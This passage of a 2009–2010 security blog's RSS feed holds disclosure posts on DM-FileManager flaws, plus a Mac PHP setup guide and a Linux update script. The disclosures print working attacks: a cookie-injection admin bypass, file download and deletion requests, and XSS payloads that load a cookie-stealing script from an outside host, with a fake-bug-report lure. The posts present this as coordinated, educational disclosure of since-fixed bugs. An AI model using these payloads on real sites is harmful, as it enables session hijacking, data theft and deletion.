class="shr-publisher-634"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/09/634/os-x-apache-web-sharing-starts-but-you-are-unable-connect/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>DM-Filemanager 3.9.6-9 Multiple Vulnerabilities</title><link>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/</link> <comments>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/#comments</comments> <pubDate>Sat, 28 Aug 2010 16:10:33 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=360</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The next major issues we found with <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> version 3.9.6 &#8211; 3.9.7-9* dealt with several vulnerabilities.  Below is the method used to exploit this vulnerability and a list of possible exploits.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that direct calls to ajax.php, code.php and rich.php are not properly validated.  Possible exploits for this vulnerability are file disclosure, loss of data and sensitive information, XSS (via source code editing), session hijacking (via XSS), web site defacement and database manipulation/exposure.</p><p>*You must use:</p><pre class="brush: jscript; title: ; notranslate">javascript:void(document.cookie=&amp;quot;USER=someadminuser&amp;quot;); void(document.cookie=&amp;quot;USERID=50&amp;quot;);void(document.cookie=&amp;quot;GROUP=ADMINISTRATORS&amp;quot;); void(document.cookie=&amp;quot;GROUPID=1&amp;quot;);</pre><p>Create a new file (see edit below for an easier method):</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?newfile=yes&#038;filename=index.php</p></ul><p>Download files:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/?download=yes&#038;file=settings.php&#038;currdir=/dm-filemanager/</p></ul><p>Rename:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=index.shtml&#038;currdir=/&#038;destination=/&#038;rn=yes&#038;newname=index.html</p></ul><p>Copy:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=config.php&#038;currdir=/&#038;destination=/&#038;cp=yes</p></ul><p>Edit: (This one has potential <img
src='http://www.ndarkness.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/code.php?editfile=yes&#038;file=exploit.php&#038;currdir=/</p></ul><p>Delete File:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?delete=yes&#038;file=index.php&#038;currdir=/wp/&#038;destination=/wp/</p></ul><p>Delete Folders:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?currdir=/wp/&#038;rmdir=yes&#038;folder=/wp/wp-admin&#038;dir=wp-admin</p></ul><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-360"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Mac OS X &#8211; Update PHP, MySQL and Easily Add GD Support</title><link>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/</link> <comments>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/#comments</comments> <pubDate>Thu, 20 May 2010 01:34:08 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[OS X]]></category> <category><![CDATA[PHP]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=493</guid> <description><![CDATA[If you have ever tried compiling the GD library on Mac OS X, you know that there are several issues to overcome before it is usable. Not to mention the version of PHP included with OS X wasn&#8217;t compiled with this option. In this post I will detail an easy method to update PHP, install [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/term.png" height="175" width="250" style="float: right;padding-left: 10px" />If you have ever tried compiling the GD library on Mac OS X, you know that there are several issues to overcome before it is usable.  Not to mention the version of PHP included with OS X wasn&#8217;t compiled with this option.  In this post I will detail an easy method to update PHP, install MySQL and the GD library in just a few steps.</p><p>To start this process, we need to grab a couple of install packages from the links listed below:</p><ul><li><a
href="http://dev.mysql.com/downloads/mysql/" target="_blank">MySQL</a> for your version of OS X.</li><li>Marc Liyanage&#8217;s <a
href="http://www.entropy.ch/software/macosx/php/" target="_blank">PHP Apache Module</a>.</li></ul><p>Once you have these packages downloaded, we can start by installing MySQL.  Open the MySQL image and install the package by following the directions.  When the install process finishes, copy the MySQL.prefPane to &#8220;your_user/Library/PreferencePanes&#8221;.  Doing this allows you to start and stop the server from the system preferences window.  Finally, make sure you take the time to <a
href="http://www.cert.org.in/training/14Oct09/SecuringMySQL.pdf" target="_blank">secure</a> your new installation.</p><p>If you had previously enabled the PHP module in the httpd.conf file, make sure you comment it back out.</p><p>Using the terminal from: Applications=&gt;Utilities=&gt;Terminal.app<br
/> (The following commands are entered without quotes.)</p><ul><li>First type: &#8220;vi /etc/apache2/httpd.conf&#8221;</li><li>Find the PHP module:<br
/> LoadModule php5_module        libexec/apache2/libphp5.so</li><li>Type: &#8220;i&#8221; and change the line to read:<br
/> #LoadModule php5_module        libexec/apache2/libphp5.so</li><li>Now press the &#8220;esc&#8221; key, type &#8220;:wq&#8221; and press &#8220;enter&#8221;</li></ul><p>The next step in this process is to install an updated version of PHP with GD support.  The great thing about using the Entropy package, is that all of the hard work is already done for you!  Open the installer and click the customize button if you don&#8217;t need all of the included extensions.</p><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2010/05/php-ins.png" height="375" width="500" /></p><p>Once you have chosen the extensions you need, click install.  When the install finishes, the last thing we need to do is edit the php.ini.</p><p>Using the terminal from: Applications=&gt;Utilities=&gt;Terminal.app<br
/> (The following commands are entered without quotes.)</p><ul><li>First type: &#8220;vi /usr/local/php5/lib/php.ini&#8221;</li><li>Now type: &#8220;?mysql&#8221; and scroll up until you get to the lines that look like this:<br
/> mysql.default_socket = /tmp/mysql.sock<br
/> mysqli.default_socket = /tmp/mysql.sock</li><li>Type &#8220;i&#8221; and change them to:<br
/> mysql.default_socket = /var/mysql/mysql.sock<br
/> mysqli.default_socket = /var/mysql/mysql.sock</li><li>Finally press the &#8220;esc&#8221; key, type &#8220;:wq&#8221; and press &#8220;enter&#8221;</li></ul><p>Now all you have to do is start Web Sharing from the system preferences window and all of your new features will be ready to use.</p><div
class="shr-publisher-493"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.9 XSS Vulnerability</title><link>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/</link> <comments>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/#comments</comments> <pubDate>Sun, 31 Jan 2010 03:03:16 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=395</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F01%2F395%2Fdm-filemanager-3-9-9-xss-vulnerability%2F' data-shr_title='DM-FileManager+3.9.9+XSS+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>DM-FileManager 3.9.9 and below is vulnerable to XSS via the message variable not being properly sanitized.</p><p>This example shows nDarkness.com in an iframe within the login page:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;p align=center&gt;&lt;iframe src=http://ndarkness.com width=100% height=800&gt;&lt;/iframe&gt;&lt;/p&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=%3C%70%20%61%6C%69%67%6E%3D%63%65%6E%74%65%72%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%20%77%69%64%74%68%3D%31%30%30%25%20%68%65%69%67%68%74%3D%38%30%30%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%70%3E
</pre><p>and one step farther is the cookie stealer script:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">
http://localhost/~safety/dm-filemanager/login.php?referrer=/&amp;message=&lt;SCRIPT SRC=http://www.ndarkness.com/get-cookie.js&gt;&lt;/SCRIPT&gt;
</pre><p>Here is a url encoded version:</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?message=%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%62%6C%6F%67%2E%6E%64%61%72%6B%6E%65%73%73%2E%63%6F%6D%2F%67%65%74%2D%63%6F%6F%6B%69%65%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E
</pre><p>A common exploit for this would be to make up a bug report and alert the site owner of the situation in the hopes that they were logged in when they clicked the link above.  The next step would be to use session hijacking to steal the user&#8217;s session.</p><p>Another option is to call the delete folder ajax.php command and let the user delete directories off of their site.</p><pre class="brush: xml; auto-links: false; title: ; notranslate">

http://localhost/~safety/dm-filemanager/login.php?referrer=/&#038;message=http://localhost/~safety/dm-filemanager/ajax.php?currdir=/safety/Sites/wp/&#038;rmdir=yes&#038;folder=/safety/Sites/wp/wp-admin&#038;dir=wp-admin
</pre><p><a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users should not follow untrusted links and should upgrade to the latest version.</p><div
class="shr-publisher-395"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/01/395/dm-filemanager-3-9-9-xss-vulnerability/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>DM-FileManager 3.9.6 Cookie Injection and Authorization Bypass Vulnerability</title><link>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/</link> <comments>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/#comments</comments> <pubDate>Wed, 09 Dec 2009 23:36:07 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Hacking]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Vulnerability]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=318</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F12%2F318%2Fdm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability%2F' data-shr_title='DM-FileManager+3.9.6+Cookie+Injection+and+Authorization+Bypass+Vulnerability'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The first major <a
href="http://www.ndarkness.com/225/wordpress-dm-albums-version-2-0-critical-vulnerability/" target="_blank">issue</a> we found was with <a
href="http://www.dutchmonkey.com/?file=/products-dm-albums.html" target="_blank">DM-Albums</a> version 2.0.  After reviewing this software and helping to add greater support for WPMU installations, we moved on to <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> version 3.9.6.  The fist major issue we found with this software prompted us to take a deeper look at the authorization model used by this file manager software.  Below is the vulnerable code and the method used to exploit it.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that cookie variables were being used to determine a users ability to access certain features of the software.  The cookies I found that mattered were:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
GROUP=ADMINISTRATORS; GROUPID=1;
</pre><p>The group id cookie gives you the admin.php button (footer.php, line 49) &#8211; <em>Not necessary but it was a start</em>.</p><pre class="brush: php; first-line: 49; gutter: true; highlight: [49]; title: ; notranslate">
if($GROUPID == 1)
{
	print(&quot; &lt;a href=\&quot;admin.php\&quot; class=\&quot;admin\&quot;&gt;&lt;img src=\&quot;ui/$USERINTERFACE/png/admin.png\&quot; border=\&quot;0\&quot; height=\&quot;15\&quot;/&gt;&lt;/a&gt; &quot;);
}
</pre><p>Being in the administrator group (admin.php, line 116) lets you use the admin.php page.</p><pre class="brush: php; first-line: 116; gutter: true; highlight: [116]; title: ; notranslate">
if($GROUP != &quot;ADMINISTRATORS&quot;) redirect(&quot;/?currdir=$currdir&quot;);
</pre><p>To exploit this we used javascript injection.  From the log in page I entered the following in the address bar and reloaded the page:</p><pre class="brush: jscript; highlight: [1]; title: ; notranslate">
javascript:void(document.cookie=&quot;GROUP=ADMINISTRATORS&quot;);void(document.cookie=&quot;GROUPID=1&quot;);
</pre><p>When the page reloaded, the admin button was in the footer of the page and it allowed me to use the admin.php page.  Once in the admin interface you have full control of the file manager software and can for example, change the admins email address to yours and use the forgot password feature to receive the admins unencrypted password (more on this issue in future posts).</p><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-FileManager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-318"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/12/318/dm-filemanager-3-9-6-cookie-injection-and-authorization-bypass-vulnerability/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Linux System Update Script</title><link>http://www.ndarkness.com/2009/11/280/linux-system-update-script/</link> <comments>http://www.ndarkness.com/2009/11/280/linux-system-update-script/#comments</comments> <pubDate>Sat, 07 Nov 2009 02:07:47 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Slackware]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Ubuntu]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=280</guid> <description><![CDATA[In my experience with Linux distributions, Slackware and Ubuntu/Kubuntu, there are a couple of different methods used to update the system. Of course we can always use a gui to do the updates but what fun is that? The two commands used to update a Debian based system are: Now while this doesn&#8217;t require a [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2009%2F11%2F280%2Flinux-system-update-script%2F' data-shr_title='Linux+System+Update+Script'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>In my experience with Linux distributions, Slackware and Ubuntu/Kubuntu, there are a couple of different methods used to update the system. Of course we can always use a gui to do the updates but what fun is that?</p><p>The two commands used to update a Debian based system are:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ sudo apt-get update; sudo apt-get upgrade
</pre><p>Now while this doesn&#8217;t require a great deal of typing, let&#8217;s see if we can shorten it to suit our needs.</p><p>If you do not already have somewhere to store your personal scripts, the following command will do this for you and allow you to enter the code we will use:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~$ mkdir bin; cd bin; vi apt-auto
</pre><p>Press i for insert and create the following script:</p><pre class="brush: bash; gutter: true; title: ; notranslate">
#!/bin/bash

sudo apt-get update; sudo apt-get upgrade
</pre><p>This is all we need to type for our script to produce the results we are looking for. Now let&#8217;s save our script by pressing Esc =&gt; :wq =&gt; .</p><p>To run our script we can type:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ bash ./apt-auto
</pre><p>You should see the output from the two commands used in the script printed to the screen. Now let&#8217;s make our script executable so we don&#8217;t have to type bash to make it run.</p><p>The following command will accomplish what we are looking for:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ chmod +x apt-auto
</pre><p>Now to run our command we simply need to type:</p><pre class="brush: bash; title: ; notranslate">
safety@nDarkness:~/bin$ ./apt-auto
</pre><p>We now have a working script to do our update process and it is significantly shorter than the first option we used. As always all comments are welcomed.</p><div
class="shr-publisher-280"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2009/11/280/linux-system-update-script/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 10/55 queries in 0.614 seconds using disk: basic
Object Caching 1417/1550 objects using disk: basic

Served from: www.ndarkness.com @ 2012-02-06 07:45:05 -->
